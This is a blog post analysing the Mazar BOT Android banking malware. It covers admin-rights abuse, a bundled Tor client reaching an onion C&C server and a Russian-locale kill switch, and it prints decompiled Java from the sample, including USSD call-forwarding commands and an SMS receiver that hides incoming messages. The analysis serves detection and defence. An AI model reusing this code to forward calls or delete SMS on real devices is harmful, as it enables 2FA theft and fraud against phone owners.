Mazar BOT: When malware authors do not hide their intentions

Two days ago I read a new about some Android malware which was writen to avoid the infection on devices which are set up with Russian language. 

The new is here: http://www.zdnet.com/article/sms-android-malware-roots-and-hijacks-your-device/. 
I was curious about this malware for several reasons so I decided to take a look. The sample is in VT:  a5c35e3cec0608834af85864b332d34ecb433545

Admin rights

The first thing is that the application requests admins rights. This is not something new at all, however the interesting part is that when trying to deactivate the admin rights in order to remove the application is not an easy task :). The malicious application is constantly loading the initial window to overlap the main window, hence there is not a chance to go the main screen at all. As a workaround, it is possible always to uninstall it with 'adb uninstall com.mazar' 

o 

Running Tor and Polipo HTTP proxy

The next interesting thing is that the malware is setup to run Tor. The APK contains the Tor binary and the necessary configuration files.

Once the application com.mazar runs, it launches the Tor binary as showed below: (pid 13331)

Several connections tor Tor nodes are ESTABLISHED:

Looking at the resources, I can see see the onion URL acting as C&C.

 And It seems that the authors do not want people to look around their C&C server :)

The source code: the gold mine

The source code is not obfuscated at all.

In the code, the first thing that is very obvious are the names used in the methods, pointing clearly their intentions

For example, there is method name "HookChromeClient":

package com.mazar;

import android.webkit.JsPromptResult;
import android.webkit.WebChromeClient;
import android.webkit.WebView;

public class HookChromeClient extends WebChromeClient
{
  public boolean onJsPrompt(WebView paramWebView, String paramString1, String paramString2, String paramString3, JsPromptResult paramJsPromptResult)
  {
    paramJsPromptResult.confirm(InjDialog.webAppInterface.textToCommand(paramString2, paramString3));
    return true;

}

Moreover, some of the strings used, like "forward calls" and "stop forward calls" are a clear evidence of the bad intention. In this case, they are using USSD code in order to steal 2FA, as I wrote some time ago here http://blog.angelalonso.es/2015/11/detecting-bank-trojans-which-steal-2fa.html

 else if (((String)localObject3).equals("forward calls"))
            {
              Utils.callForward(WorkerService.this.context, "*21*" + ((JSONObject)localObject4).getString("number") + "#");
              Utils.putBoolVal(localException, WorkerService.this.getString(2131230731), true);
              ((Intent)localObject2).setAction(WorkerService.this.getString(2131230744));
            }
            else if (((String)localObject3).equals("stop forward calls"))
            {
              Utils.callForward(WorkerService.this.context, "#21#");
              Utils.putBoolVal(localException, WorkerService.this.getString(2131230731), false);
              ((Intent)localObject2).setAction(WorkerService.this.getString(2131230744));
            }

Regarding why the malware doesn't affect the devices configured with Russian language, there is some code to auto-kill itself when the locale is 'RU':

public static void noRu(Context paramContext)
  {
    if (paramContext.getResources().getConfiguration().locale.getCountry().equalsIgnoreCase("RU"))
      Process.killProcess(Process.myPid());
  }

There is some class "MessageReceiver" which have several methods in charge of dealing with new SMS messages:

public class MessageReceiver extends BroadcastReceiver
{
  private void processMessage(Context paramContext, String paramString1, String paramString2)
  {
    Object localObject = Uri.parse("content://sms/inbox");
    localObject = paramContext.getContentResolver().query((Uri)localObject, null, null, null, null);
    try
    {
      do
        if (!((Cursor)localObject).moveToNext())
          return;
      while ((!((Cursor)localObject).getString(((Cursor)localObject).getColumnIndex("address")).equals(paramString1)) || (((Cursor)localObject).getInt(((Cursor)localObject).getColumnIndex("read")) != 0) || (!((Cursor)localObject).getString(((Cursor)localObject).getColumnIndex("body")).startsWith(paramString2)));
      paramString1 = ((Cursor)localObject).getString(((Cursor)localObject).getColumnIndex("_id"));
      paramString2 = new ContentValues();
      paramString2.put("read", Boolean.valueOf(true));
      paramContext.getContentResolver().update(Uri.parse("content://sms/inbox"), paramString2, "_id=" + paramString1, null);
      paramContext.getContentResolver().delete(Uri.parse("content://sms/"), "_id=" + paramString1, null);
      return;
    }
    catch (Exception paramContext)
    {
      Log.d("DEBUGGING", "Error in Read: " + paramContext.toString());
    }
  }

There is a lot of other interesting stuff in the code, but some questions arise: why the authors behind this malware are making it so evident?. This is really a good question.

RecordFuture wrote a post some months ago, in November, pointing to this malware in a underground forum. However, since then, this is the first time it has been detected in the wild, so likely this is the first time the malware is being used by the threat actors. Also, it is possible that the malware authors are testing the code.

It is a matter of time this malware get obfuscated which will make the analysis and the detection not so straight forward.